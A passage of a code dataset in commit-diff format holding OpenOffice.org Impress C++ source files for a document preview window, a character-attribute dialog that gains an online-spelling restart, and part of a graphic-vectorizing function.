pPage->GetSize() );\n\n pView->SetBordVisible( FALSE );\n pView->SetPageVisible( FALSE );\n pView->ShowPage( pPage, Point() );\n\n const Point aNewOrg( pPage->GetLftBorder(), pPage->GetUppBorder() );\n const Size aNewSize( aSize.Width() - pPage->GetLftBorder() - pPage->GetRgtBorder(),\n aSize.Height() - pPage->GetUppBorder() - pPage->GetLwrBorder() );\n const Rectangle aClipRect( aNewOrg, aNewSize );\n MapMode aVMap( aMap );\n\n SdrPageView* pPageView = pView->GetPageView( pPage );\n\n aVDev.Push();\n aVMap.SetOrigin( Point( -aNewOrg.X(), -aNewOrg.Y() ) );\n aVDev.SetRelativeMapMode( aVMap );\n aVDev.IntersectClipRegion( aClipRect );\n\n \/\/ Use new StandardCheckVisisbilityRedirector\n StandardCheckVisisbilityRedirector aRedirector;\n\n for (USHORT i=0; i<pView->GetPageViewCount(); i++)\n {\n SdrPageView* pPV=pView->GetPageViewPvNum(i);\n pPV->CompleteRedraw(&aVDev, Region(Rectangle(Point(), aNewSize)), 0, &aRedirector);\n }\n\n aVDev.Pop();\n\n pMtf->Stop();\n pMtf->WindStart();\n pMtf->SetPrefMapMode( aMap );\n pMtf->SetPrefSize( aNewSize );\n\n rOutl.SetBackgroundColor( aOldBackgroundColor );\n\n delete pView;\n }\n\n delete pMetaFile;\n pMetaFile = pMtf;\n\n Invalidate();\n}\n\nvoid SdDocPreviewWin::SFX_NOTIFY(SfxBroadcaster& rBC, const TypeId& rBCType, const SfxHint& rHint, const TypeId& rHintType)\n{\n if( rHint.ISA( SfxSimpleHint ) && ( (SfxSimpleHint&) rHint ).GetId() == SFX_HINT_COLORS_CHANGED )\n {\n updateViewSettings();\n }\n}\nvoid SdDocPreviewWin::DataChanged( const DataChangedEvent& rDCEvt )\n{\n Control::DataChanged( rDCEvt );\n\n if ( (rDCEvt.GetType() == DATACHANGED_SETTINGS) && (rDCEvt.GetFlags() & SETTINGS_STYLE) )\n {\n updateViewSettings();\n }\n}\n<commit_msg>INTEGRATION: CWS presentationengine01 (1.12.12); FILE MERGED 2004\/09\/30 16:09:40 cl 1.12.12.2: added new preview for wizard 2004\/08\/25 15:24:04 cl 1.12.12.1: replaced old FuSlideShow with new SlideShow<commit_after>\/*************************************************************************\n *\n * $RCSfile: docprev.cxx,v $\n *\n * $Revision: 1.13 $\n *\n * last change: $Author: rt $ $Date: 2004-11-26 20:02:12 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#ifndef _COM_SUN_STAR_DRAWING_XDRAWPAGE_HPP_\n#include <com\/sun\/star\/drawing\/XDrawPage.hpp>\n#endif\n#ifndef _COM_SUN_STAR_ANIMATIONS_XANIMATIONNODE_HPP_\n#include <com\/sun\/star\/animations\/XAnimationNode.hpp>\n#endif\n\n#ifndef _SD_SLIDESHOW_HXX\n#include \"slideshow.hxx\"\n#endif\n\n#ifndef _SFX_OBJSH_HXX \/\/ SfxObjectShell\n#include <sfx2\/objsh.hxx>\n#endif\n\n#ifndef _SV_GDIMTF_HXX \/\/ GDIMetaFile\n#include <vcl\/gdimtf.hxx>\n#endif\n\n#ifndef _SV_VIRDEV_HXX \/\/ class VirtualDevice\n#include <vcl\/virdev.hxx>\n#endif\n\n#ifndef _COM_SUN_STAR_PRESENTATION_FADEEFFECT_HPP_\n#include <com\/sun\/star\/presentation\/FadeEffect.hpp>\n#endif\n\n#ifndef _SD_FADEDEF_H \/\/ enum FadeSpeed\n#include <fadedef.h>\n#endif\n\n#ifndef _SV_CTRL_HXX \/\/ class Control\n#include <vcl\/ctrl.hxx>\n#endif\n\n#ifndef _SVDOUTL_HXX\n#include <svx\/svdoutl.hxx>\n#endif\n#ifndef _SVDPAGV_HXX\n#include <svx\/svdpagv.hxx>\n#endif\n#ifndef _SVDORECT_HXX\n#include <svx\/svdorect.hxx>\n#endif\n\n#include \"docprev.hxx\"\n#include \"drawdoc.hxx\"\n#include \"DrawDocShell.hxx\"\n#ifndef SD_VIEW_SHELL_HXX\n#include \"ViewShell.hxx\"\n#endif\n#ifndef SD_SHOW_VIEW_HXX\n#include \"showview.hxx\"\n#endif\n#ifndef SD_DRAW_VIEW_HXX\n#include \"drawview.hxx\"\n#endif\n#include \"sdpage.hxx\"\n\nusing ::com::sun::star::drawing::XDrawPage;\nusing ::com::sun::star::animations::XAnimationNode;\n\nusing namespace ::com::sun::star;\nusing namespace ::com::sun::star::uno;\n\nconst int SdDocPreviewWin::FRAME = 4;\n\nvoid SdDocPreviewWin::SetObjectShell( SfxObjectShell* pObj, sal_uInt16 nShowPage )\n{\n mpObj = pObj;\n mnShowPage = nShowPage;\n delete mpSlideShow;\n mpSlideShow = 0;\n\n updateViewSettings();\n}\n\nSdDocPreviewWin::SdDocPreviewWin( Window* pParent, const ResId& rResId )\n: Control(pParent, rResId), pMetaFile( 0 ), bInEffect(FALSE), mpObj(NULL), mnShowPage(0)\n{\n mpSlideShow = 0;\n SetBorderStyle( WINDOW_BORDER_MONO );\n svtools::ColorConfig aColorConfig;\n SetBackground( Wallpaper( Color( aColorConfig.GetColorValue( svtools::APPBACKGROUND ).nColor ) ) );\n}\n\nSdDocPreviewWin::SdDocPreviewWin( Window* pParent )\n: Control(pParent, 0 ), pMetaFile( 0 ), bInEffect(FALSE), mpObj(NULL), mnShowPage(0)\n{\n mpSlideShow = 0;\n SetBorderStyle( WINDOW_BORDER_MONO );\n svtools::ColorConfig aColorConfig;\n SetBackground( Wallpaper( Color( aColorConfig.GetColorValue( svtools::APPBACKGROUND ).nColor ) ) );\n Resize();\n Show();\n}\n\nvoid SdDocPreviewWin::Resize()\n{\n Invalidate();\n if( mpSlideShow )\n mpSlideShow->resize( GetSizePixel() );\n}\n\nvoid SdDocPreviewWin::SetGDIFile( GDIMetaFile* pFile )\n{\n delete pMetaFile;\n pMetaFile = pFile;\n Invalidate();\n}\n\nvoid SdDocPreviewWin::CalcSizeAndPos( GDIMetaFile* pFile, Size& rSize, Point& rPoint )\n{\n Size aTmpSize = pFile ? pFile->GetPrefSize() : Size(1,1 );\n long nWidth = rSize.Width() - 2*FRAME;\n long nHeight = rSize.Height() - 2*FRAME;\n if( nWidth < 0 ) nWidth = 0;\n if( nHeight < 0 ) nHeight = 0;\n\n double dRatio=((double)aTmpSize.Width())\/aTmpSize.Height();\n double dRatioPreV=((double) nWidth ) \/ nHeight;\n\n if (dRatio>dRatioPreV)\n {\n rSize=Size(nWidth, (USHORT)(nWidth\/dRatio));\n rPoint=Point( 0, (USHORT)((nHeight-rSize.Height())\/2));\n }\n else\n {\n rSize=Size((USHORT)(nHeight*dRatio), nHeight);\n rPoint=Point((USHORT)((nWidth-rSize.Width())\/2),0);\n }\n}\n\nvoid SdDocPreviewWin::ImpPaint( GDIMetaFile* pFile, OutputDevice* pVDev )\n{\n Point aPoint;\n Size aSize = pVDev->GetOutputSize();\n Point bPoint(aSize.Width()-2*FRAME, aSize.Height()-2*FRAME );\n CalcSizeAndPos( pFile, aSize, aPoint );\n bPoint -= aPoint;\n aPoint += Point( FRAME, FRAME );\n\n svtools::ColorConfig aColorConfig;\n\n pVDev->SetLineColor();\n pVDev->SetFillColor( Color( aColorConfig.GetColorValue( svtools::APPBACKGROUND ).nColor ) );\n pVDev->DrawRect(Rectangle( Point(0,0 ), pVDev->GetOutputSize()));\n if( pFile )\n {\n pVDev->SetFillColor( maDocumentColor );\n pVDev->DrawRect(Rectangle(aPoint, aSize));\n pFile->WindStart();\n pFile->Play( pVDev, aPoint, aSize );\n }\n}\n\nvoid SdDocPreviewWin::Paint( const Rectangle& rRect )\n{\n SvtAccessibilityOptions aAccOptions;\n bool bUseContrast = aAccOptions.GetIsForPagePreviews() && Application::GetSettings().GetStyleSettings().GetHighContrastMode();\n SetDrawMode( bUseContrast\n ? ::sd::ViewShell::OUTPUT_DRAWMODE_CONTRAST\n : ::sd::ViewShell::OUTPUT_DRAWMODE_COLOR );\n\n ImpPaint( pMetaFile, (VirtualDevice*)this );\n}\n\nvoid SdDocPreviewWin::startPreview()\n{\n if( mpSlideShow )\n delete mpSlideShow;\n\n ::sd::DrawDocShell* pDocShell = dynamic_cast< ::sd::DrawDocShell * >( mpObj );\n if( mpObj )\n {\n SdDrawDocument* pDoc = pDocShell->GetDoc();\n\n if( pDoc )\n {\n SdPage* pPage = pDoc->GetSdPage( mnShowPage, PK_STANDARD );\n\n if( pPage )\n {\n mpSlideShow = new sd::Slideshow( 0, 0, pDoc );\n\n Reference< XDrawPage > xDrawPage( pPage->getUnoPage(), UNO_QUERY );\n Reference< XAnimationNode > xAnimationNode;\n\n mpSlideShow->startPreview( xDrawPage, xAnimationNode, this );\n }\n }\n }\n}\n\nlong SdDocPreviewWin::Notify( NotifyEvent& rNEvt )\n{\n if ( rNEvt.GetType() == EVENT_MOUSEBUTTONDOWN )\n {\n const MouseEvent* pMEvt = rNEvt.GetMouseEvent();\n if ( pMEvt->IsLeft() )\n {\n if( rNEvt.GetWindow() == this )\n {\n if(aClickHdl.IsSet())\n aClickHdl.Call(this);\n }\n }\n }\n\n return Control::Notify( rNEvt );\n}\n\n\nvoid SdDocPreviewWin::updateViewSettings()\n{\n ::sd::DrawDocShell* pDocShell = PTR_CAST(::sd::DrawDocShell,mpObj);\n SdDrawDocument* pDoc = pDocShell?pDocShell->GetDoc():NULL;\n\n SvtAccessibilityOptions aAccOptions;\n bool bUseWhiteColor = !aAccOptions.GetIsForPagePreviews() && GetSettings().GetStyleSettings().GetHighContrastMode();\n if( bUseWhiteColor )\n {\n maDocumentColor = Color( COL_WHITE );\n }\n else\n {\n svtools::ColorConfig aColorConfig;\n maDocumentColor = Color( aColorConfig.GetColorValue( svtools::DOCCOLOR ).nColor );\n }\n\n GDIMetaFile* pMtf = NULL;\n\n if(pDoc)\n {\n SdrOutliner& rOutl = pDoc->GetDrawOutliner();\n Color aOldBackgroundColor = rOutl.GetBackgroundColor();\n rOutl.SetBackgroundColor( maDocumentColor );\n\n pMtf = new GDIMetaFile;\n SdPage * pPage = pDoc->GetSdPage( mnShowPage, PK_STANDARD );\n\n VirtualDevice aVDev;\n\n const Fraction aFrac( pDoc->GetScaleFraction() );\n const MapMode aMap( pDoc->GetScaleUnit(), Point(), aFrac, aFrac );\n\n aVDev.SetMapMode( aMap );\n\n \/\/ #109058# Disable output, as we only want to record a metafile\n aVDev.EnableOutput( FALSE );\n\n pMtf->Record( &aVDev );\n\n ::sd::DrawView* pView = new ::sd::DrawView(pDocShell, this, NULL);\n\n\n const Size aSize( pPage->GetSize() );\n\n pView->SetBordVisible( FALSE );\n pView->SetPageVisible( FALSE );\n pView->ShowPage( pPage, Point() );\n\n const Point aNewOrg( pPage->GetLftBorder(), pPage->GetUppBorder() );\n const Size aNewSize( aSize.Width() - pPage->GetLftBorder() - pPage->GetRgtBorder(),\n aSize.Height() - pPage->GetUppBorder() - pPage->GetLwrBorder() );\n const Rectangle aClipRect( aNewOrg, aNewSize );\n MapMode aVMap( aMap );\n\n SdrPageView* pPageView = pView->GetPageView( pPage );\n\n aVDev.Push();\n aVMap.SetOrigin( Point( -aNewOrg.X(), -aNewOrg.Y() ) );\n aVDev.SetRelativeMapMode( aVMap );\n aVDev.IntersectClipRegion( aClipRect );\n\n \/\/ Use new StandardCheckVisisbilityRedirector\n StandardCheckVisisbilityRedirector aRedirector;\n\n for (USHORT i=0; i<pView->GetPageViewCount(); i++)\n {\n SdrPageView* pPV=pView->GetPageViewPvNum(i);\n pPV->CompleteRedraw(&aVDev, Region(Rectangle(Point(), aNewSize)), 0, &aRedirector);\n }\n\n aVDev.Pop();\n\n pMtf->Stop();\n pMtf->WindStart();\n pMtf->SetPrefMapMode( aMap );\n pMtf->SetPrefSize( aNewSize );\n\n rOutl.SetBackgroundColor( aOldBackgroundColor );\n\n delete pView;\n }\n\n delete pMetaFile;\n pMetaFile = pMtf;\n\n Invalidate();\n}\n\nvoid SdDocPreviewWin::SFX_NOTIFY(SfxBroadcaster& rBC, const TypeId& rBCType, const SfxHint& rHint, const TypeId& rHintType)\n{\n if( rHint.ISA( SfxSimpleHint ) && ( (SfxSimpleHint&) rHint ).GetId() == SFX_HINT_COLORS_CHANGED )\n {\n updateViewSettings();\n }\n}\nvoid SdDocPreviewWin::DataChanged( const DataChangedEvent& rDCEvt )\n{\n Control::DataChanged( rDCEvt );\n\n if ( (rDCEvt.GetType() == DATACHANGED_SETTINGS) && (rDCEvt.GetFlags() & SETTINGS_STYLE) )\n {\n updateViewSettings();\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * $RCSfile: fuchar.cxx,v $\n *\n * $Revision: 1.2 $\n *\n * last change: $Author: ka $ $Date: 2000-09-21 16:11:55 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#pragma hdrstop\n\n#include <svx\/editdata.hxx>\n#include <svx\/svxids.hrc>\n#ifndef _EEITEM_HXX \/\/autogen\n#include <svx\/eeitem.hxx>\n#endif\n#ifndef _SV_MSGBOX_HXX \/\/autogen\n#include <vcl\/msgbox.hxx>\n#endif\n#ifndef _SFX_BINDINGS_HXX \/\/autogen\n#include <sfx2\/bindings.hxx>\n#endif\n#ifndef _SFXREQUEST_HXX \/\/autogen\n#include <sfx2\/request.hxx>\n#endif\n\n#include \"dlg_char.hxx\"\n#include \"sdview.hxx\"\n#include \"drawview.hxx\"\n#include \"drawdoc.hxx\"\n#include \"drviewsh.hxx\"\n#include \"viewshel.hxx\"\n#include \"docshell.hxx\"\n#include \"fuchar.hxx\"\n\nTYPEINIT1( FuChar, FuPoor );\n\n\/*************************************************************************\n|*\n|* Konstruktor\n|*\n\\************************************************************************\/\n\nFuChar::FuChar(SdViewShell* pViewSh, SdWindow* pWin, SdView* pView,\n SdDrawDocument* pDoc, SfxRequest& rReq)\n : FuPoor(pViewSh, pWin, pView, pDoc, rReq)\n{\n const SfxItemSet* pArgs = rReq.GetArgs();\n\n if( !pArgs )\n {\n SfxItemSet aEditAttr( pDoc->GetPool() );\n pView->GetAttributes( aEditAttr );\n\n SfxItemSet aNewAttr( pViewSh->GetPool(),\n EE_ITEMS_START, EE_ITEMS_END );\n aNewAttr.Put( aEditAttr, FALSE );\n\n SdCharDlg* pDlg = new SdCharDlg( NULL, &aNewAttr, pDoc->GetDocSh() );\n\n USHORT nResult = pDlg->Execute();\n\n switch( nResult )\n {\n case RET_OK:\n {\n rReq.Done( *( pDlg->GetOutputItemSet() ) );\n\n pArgs = rReq.GetArgs();\n }\n break;\n\n default:\n {\n delete pDlg;\n }\n return; \/\/ Abbruch\n }\n delete( pDlg );\n }\n pView->SetAttributes(*pArgs);\n\n \/\/ invalidieren der Slots, die in der DrTxtObjBar auftauchen\n static USHORT SidArray[] = {\n SID_ATTR_CHAR_FONT,\n SID_ATTR_CHAR_POSTURE,\n SID_ATTR_CHAR_WEIGHT,\n SID_ATTR_CHAR_UNDERLINE,\n SID_ATTR_CHAR_FONTHEIGHT,\n SID_ATTR_CHAR_COLOR,\n SID_SET_SUPER_SCRIPT,\n SID_SET_SUB_SCRIPT,\n 0 };\n\n pViewShell->GetViewFrame()->GetBindings().Invalidate( SidArray );\n}\n\n\n\n<commit_msg>#94797# Start online spelling if language changed<commit_after>\/*************************************************************************\n *\n * $RCSfile: fuchar.cxx,v $\n *\n * $Revision: 1.3 $\n *\n * last change: $Author: dl $ $Date: 2001-11-16 10:03:51 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#pragma hdrstop\n\n#include <svx\/editdata.hxx>\n#include <svx\/svxids.hrc>\n#ifndef _EEITEM_HXX \/\/autogen\n#include <svx\/eeitem.hxx>\n#endif\n#ifndef _SV_MSGBOX_HXX \/\/autogen\n#include <vcl\/msgbox.hxx>\n#endif\n#ifndef _SFX_BINDINGS_HXX \/\/autogen\n#include <sfx2\/bindings.hxx>\n#endif\n#ifndef _SFXREQUEST_HXX \/\/autogen\n#include <sfx2\/request.hxx>\n#endif\n\n#include \"dlg_char.hxx\"\n#include \"sdview.hxx\"\n#include \"drawview.hxx\"\n#include \"drawdoc.hxx\"\n#include \"drviewsh.hxx\"\n#include \"viewshel.hxx\"\n#include \"docshell.hxx\"\n#include \"fuchar.hxx\"\n\nTYPEINIT1( FuChar, FuPoor );\n\n\/*************************************************************************\n|*\n|* Konstruktor\n|*\n\\************************************************************************\/\n\nFuChar::FuChar(SdViewShell* pViewSh, SdWindow* pWin, SdView* pView,\n SdDrawDocument* pDoc, SfxRequest& rReq)\n : FuPoor(pViewSh, pWin, pView, pDoc, rReq)\n{\n const SfxItemSet* pArgs = rReq.GetArgs();\n\n if( !pArgs )\n {\n SfxItemSet aEditAttr( pDoc->GetPool() );\n pView->GetAttributes( aEditAttr );\n\n SfxItemSet aNewAttr( pViewSh->GetPool(),\n EE_ITEMS_START, EE_ITEMS_END );\n aNewAttr.Put( aEditAttr, FALSE );\n\n SdCharDlg* pDlg = new SdCharDlg( NULL, &aNewAttr, pDoc->GetDocSh() );\n\n USHORT nResult = pDlg->Execute();\n\n switch( nResult )\n {\n case RET_OK:\n {\n rReq.Done( *( pDlg->GetOutputItemSet() ) );\n\n pArgs = rReq.GetArgs();\n }\n break;\n\n default:\n {\n delete pDlg;\n }\n return; \/\/ Abbruch\n }\n delete( pDlg );\n }\n pView->SetAttributes(*pArgs);\n\n \/\/ invalidieren der Slots, die in der DrTxtObjBar auftauchen\n static USHORT SidArray[] = {\n SID_ATTR_CHAR_FONT,\n SID_ATTR_CHAR_POSTURE,\n SID_ATTR_CHAR_WEIGHT,\n SID_ATTR_CHAR_UNDERLINE,\n SID_ATTR_CHAR_FONTHEIGHT,\n SID_ATTR_CHAR_COLOR,\n SID_SET_SUPER_SCRIPT,\n SID_SET_SUB_SCRIPT,\n 0 };\n\n pViewShell->GetViewFrame()->GetBindings().Invalidate( SidArray );\n\n if( pDoc->GetOnlineSpell() )\n {\n const SfxPoolItem* pItem;\n if( SFX_ITEM_SET == pArgs->GetItemState(EE_CHAR_LANGUAGE, FALSE, &pItem ) ||\n SFX_ITEM_SET == pArgs->GetItemState(EE_CHAR_LANGUAGE_CJK, FALSE, &pItem ) ||\n SFX_ITEM_SET == pArgs->GetItemState(EE_CHAR_LANGUAGE_CTL, FALSE, &pItem ) )\n {\n pDoc->StopOnlineSpelling();\n pDoc->StartOnlineSpelling();\n }\n }\n}\n\n\n\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: fuvect.cxx,v $\n *\n * $Revision: 1.7 $\n *\n * last change: $Author: rt $ $Date: 2005-12-14 17:06:14 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n\n#include \"fuvect.hxx\"\n\n#ifndef _TL_POLY_HXX\n#include <tools\/poly.hxx>\n#endif\n#ifndef _SVDOPATH_HXX \/\/autogen\n#include <svx\/svdograf.hxx>\n#endif\n#ifndef _SV_MSGBOX_HXX \/\/autogen\n#include <vcl\/msgbox.hxx>\n#endif\n#ifndef _SVX_SVDOGRAF_HXX \/\/autogen\n#include <svx\/svdograf.hxx>\n#endif\n#ifndef _SVX_SVDEDTV_HXX \/\/autogen\n#include <svx\/svdedtv.hxx>\n#endif\n\n#pragma hdrstop\n\n#ifndef SD_VIEW_HXX\n#include \"View.hxx\"\n#endif\n#ifndef SD_VIEW_SHELL_HXX\n#include \"ViewShell.hxx\"\n#endif\n#ifndef SD_WINDOW_HXX\n#include \"Window.hxx\"\n#endif\n#include \"strings.hrc\"\n#include \"sdresid.hxx\"\n\/\/CHINA001 #include \"vectdlg.hxx\"\n#include \"sdabstdlg.hxx\" \/\/CHINA001\n#include \"vectdlg.hrc\" \/\/CHINA001\nnamespace sd {\n\nTYPEINIT1( FuVectorize, FuPoor );\n\n\/*************************************************************************\n|*\n|* Konstruktor\n|*\n\\************************************************************************\/\n\nFuVectorize::FuVectorize (\n ViewShell* pViewSh,\n ::sd::Window* pWin,\n ::sd::View* pView,\n SdDrawDocument* pDoc,\n SfxRequest& rReq)\n : FuPoor (pViewSh, pWin, pView, pDoc, rReq)\n{\n}\n\nFunctionReference FuVectorize::Create( ViewShell* pViewSh, ::sd::Window* pWin, ::sd::View* pView, SdDrawDocument* pDoc, SfxRequest& rReq )\n{\n FunctionReference xFunc( new FuVectorize( pViewSh, pWin, pView, pDoc, rReq ) );\n xFunc->DoExecute(rReq);\n return xFunc;\n}\n\nvoid FuVectorize::DoExecute( SfxRequest& rReq )\n{\n const SdrMarkList& rMarkList = pView->GetMarkedObjectList();\n\n if( rMarkList.GetMarkCount() == 1 )\n {\n SdrObject* pObj = rMarkList.GetMark( 0 )->GetObj();\n\n if( pObj && pObj->ISA( SdrGrafObj ) )\n {\n SdAbstractDialogFactory* pFact = SdAbstractDialogFactory::Create();\n AbstractSdVectorizeDlg* pDlg = pFact ? pFact->CreateSdVectorizeDlg(ResId( DLG_VECTORIZE ), pWindow, ( (SdrGrafObj*) pObj )->GetGraphic().GetBitmap(), pDocSh ) : 0;\n DBG_ASSERT(pDlg, \"Dialogdiet fail!\");\n if( pDlg && pDlg->Execute() == RET_OK )\n {\n const GDIMetaFile& rMtf = pDlg->GetGDIMetaFile(); \/\/CHINA001 const GDIMetaFile& rMtf = aDlg.GetGDIMetaFile();\n SdrPageView* pPageView = pView->GetPageViewPvNum( 0 );\n\n if( pPageView && rMtf.GetActionCount() )\n {\n SdrGrafObj* pVectObj = (SdrGrafObj*) pObj->Clone();\n String aStr( pView->GetDescriptionOfMarkedObjects() );\n\n aStr.Append( sal_Unicode(' ') );\n aStr.Append( String( SdResId( STR_UNDO_VECTORIZE ) ) );\n pView->BegUndo( aStr );\n pVectObj->SetGraphic( rMtf );\n pView->ReplaceObject( pObj, *pPageView, pVectObj );\n pView->EndUndo();\n }\n }\n delete pDlg;\n }\n }\n}\n\n} \/\/ end of namespace sd\n<commit_msg>INTEGRATION: CWS aw035 (1.7.182); FILE MERGED 2006\/07\/13 16:05:15 aw 1.7.182.1: #126320# SdrMark::GetObj() -> SdrMark::GetMarkedSdrObj() for isolating selection handling<commit_after>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: fuvect.cxx,v $\n *\n * $Revision: 1.8 $\n *\n * last change: $Author: rt $ $Date: 2006-07-25 11:43:16 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n\n#include \"fuvect.hxx\"\n\n#ifndef _TL_POLY_HXX\n#include <tools\/poly.hxx>\n#endif\n#ifndef _SVDOPATH_HXX \/\/autogen\n#include <svx\/svdograf.hxx>\n#endif\n#ifndef _SV_MSGBOX_HXX \/\/autogen\n#include <vcl\/msgbox.hxx>\n#endif\n#ifndef _SVX_SVDOGRAF_HXX \/\/autogen\n#include <svx\/svdograf.hxx>\n#endif\n#ifndef _SVX_SVDEDTV_HXX \/\/autogen\n#include <svx\/svdedtv.hxx>\n#endif\n\n#pragma hdrstop\n\n#ifndef SD_VIEW_HXX\n#include 